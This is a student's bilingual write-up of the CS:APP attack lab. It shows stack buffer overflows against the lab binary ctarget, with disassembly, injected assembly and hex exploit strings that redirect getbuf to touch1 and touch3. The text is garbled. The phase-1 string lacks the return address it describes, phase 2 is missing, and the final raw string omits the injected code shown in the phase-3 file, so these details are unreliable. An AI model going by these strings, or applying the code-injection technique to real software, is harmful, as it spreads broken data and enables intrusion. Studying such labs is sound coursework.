

Lab3.attacklab

phase1:

```
1 void test()
2 {
3     int val;
4     val = getbuf();
5     printf("No exploit.  Getbuf returned 0x%x\n", val);
6 }
```

When `getbuf` executes its return statement (line 5 of `getbuf`), the program ordinarily resumes execution within function `test` (at line 5 of this function). We want to change this behavior. Within the file `ctarget`, there is code for a function `touch1` having the following C representation:

```
1 void touch1()
2 {
3     vlevel = 1;          /* Part of validation protocol */
4     printf("Touch1!: You called touch1()\n");
5     validate(1);
6     exit(0);
7 }
```

Your task is to get `CTARGET` to execute the code for `touch1` when `getbuf` executes its return statement, rather than returning to `test`. Note that your exploit string may also corrupt parts of the stack not directly related to this stage, but this will not cause a problem, since `touch1` causes the program to exit directly.

需要在 `test` 函数的第四行调用 `getbuf` 函数后无法正常返回并且跳转到 `touch1` 函数.我们需要将函数 `getbuf` 运行栈中的返回地址修改为 `touch1` 函数的入口

首先观察 `getbuf` 的汇编代码, 可以得知其开辟了 40 字节的栈空间. 我们需要将这 40 字节填满, 再之后写入的 8 个字节就会是 `getbuf` 的返回地址

```
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28      sub    $0x28,%rsp
4017ac: 48 89 e7         mov    %rsp,%rdi
4017af: e8 8c 02 00 00   callq 401a40 <Gets>
4017b4: b8 01 00 00 00   mov    $0x1,%eax
4017b9: 48 83 c4 28      add    $0x28,%rsp
4017bd: c3             retq
4017be: 90             nop
4017bf: 90             nop
00000000004017c0 <touch1>:
```

将 `touch1` 作为返回地址, 小端存储所以应当填入 `c017140000000000`, 最终填入的比特流应当是:

sh-4.4# cat ./phase1_hex.txt

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
```


本题我们依然需要将返回地址修改为指向我们注入代码的指针, 然后通过我们写入的代码转入 touch3 函数. 与上题不一样的是此时我们向 touch3 函数传入的参数是一个指向 cookie 十六进制字符串形式的指针. 为了防止 字符串被破坏, 我们将字符串写入到一个更高的地址 (%rsp 不会触及的地方).

以下为栈空间布局.

address	content
0x5561dca8	string(cookie)
0x5561dca0	getbuf 函数的返回地址(指向注入的代码)
0x5561dc98	填充
	填充
	Ret
	Pushq touch 函数地址
0x5561dc78	Mov address(string(cookie)), %rdi

编写注入的代码:

```
sh-4.4# vim phase3_asm.s
```

```
sh-4.4# cat phase3_asm.s
```

```
mov $0x5561dca8,%rdi
```

```
pushq $0x4018fa
```

```
ret
```

得到其二进制形式:

```
sh-4.4# gcc -c phase3_asm.s
```

```
sh-4.4# objdump -d phase3_asm.o
```

```
phase3_asm.o:      file format elf64-x86-64
```

Disassembly of section .text:

```
0000000000000000 <.text>:
```

```
0:  48 c7 c7 a8 dc 61 55      mov     $0x5561dca8,%rdi
```

```
7:  68 fa 18 40 00           pushq   $0x4018fa
```

```
c:  c3                      retq
```

编写 exploit string 的 hex 形式

```
sh-4.4# vim phase3_hex.txt
```

```
sh-4.4# cat phase3_hex.txt
```

```
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
```

```
68 fa 18 40 00 /* pushq $0x4018fa */
```

```
c3 /* ret */
```

```
00 00 00 00 00 00 00 00
```

```
00 00 00 00 00 00 00 00
```

```
00 00 00 00 00 00 00 00
```

```
00 00 00
```

```
78 dc 61 55 00 00 00 00 /* return to injection code */
```

```
35 39 62 39 39 37 66 61 /* cookie (ascii) */
```

生成 raw exploit string 并验证结果:

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
```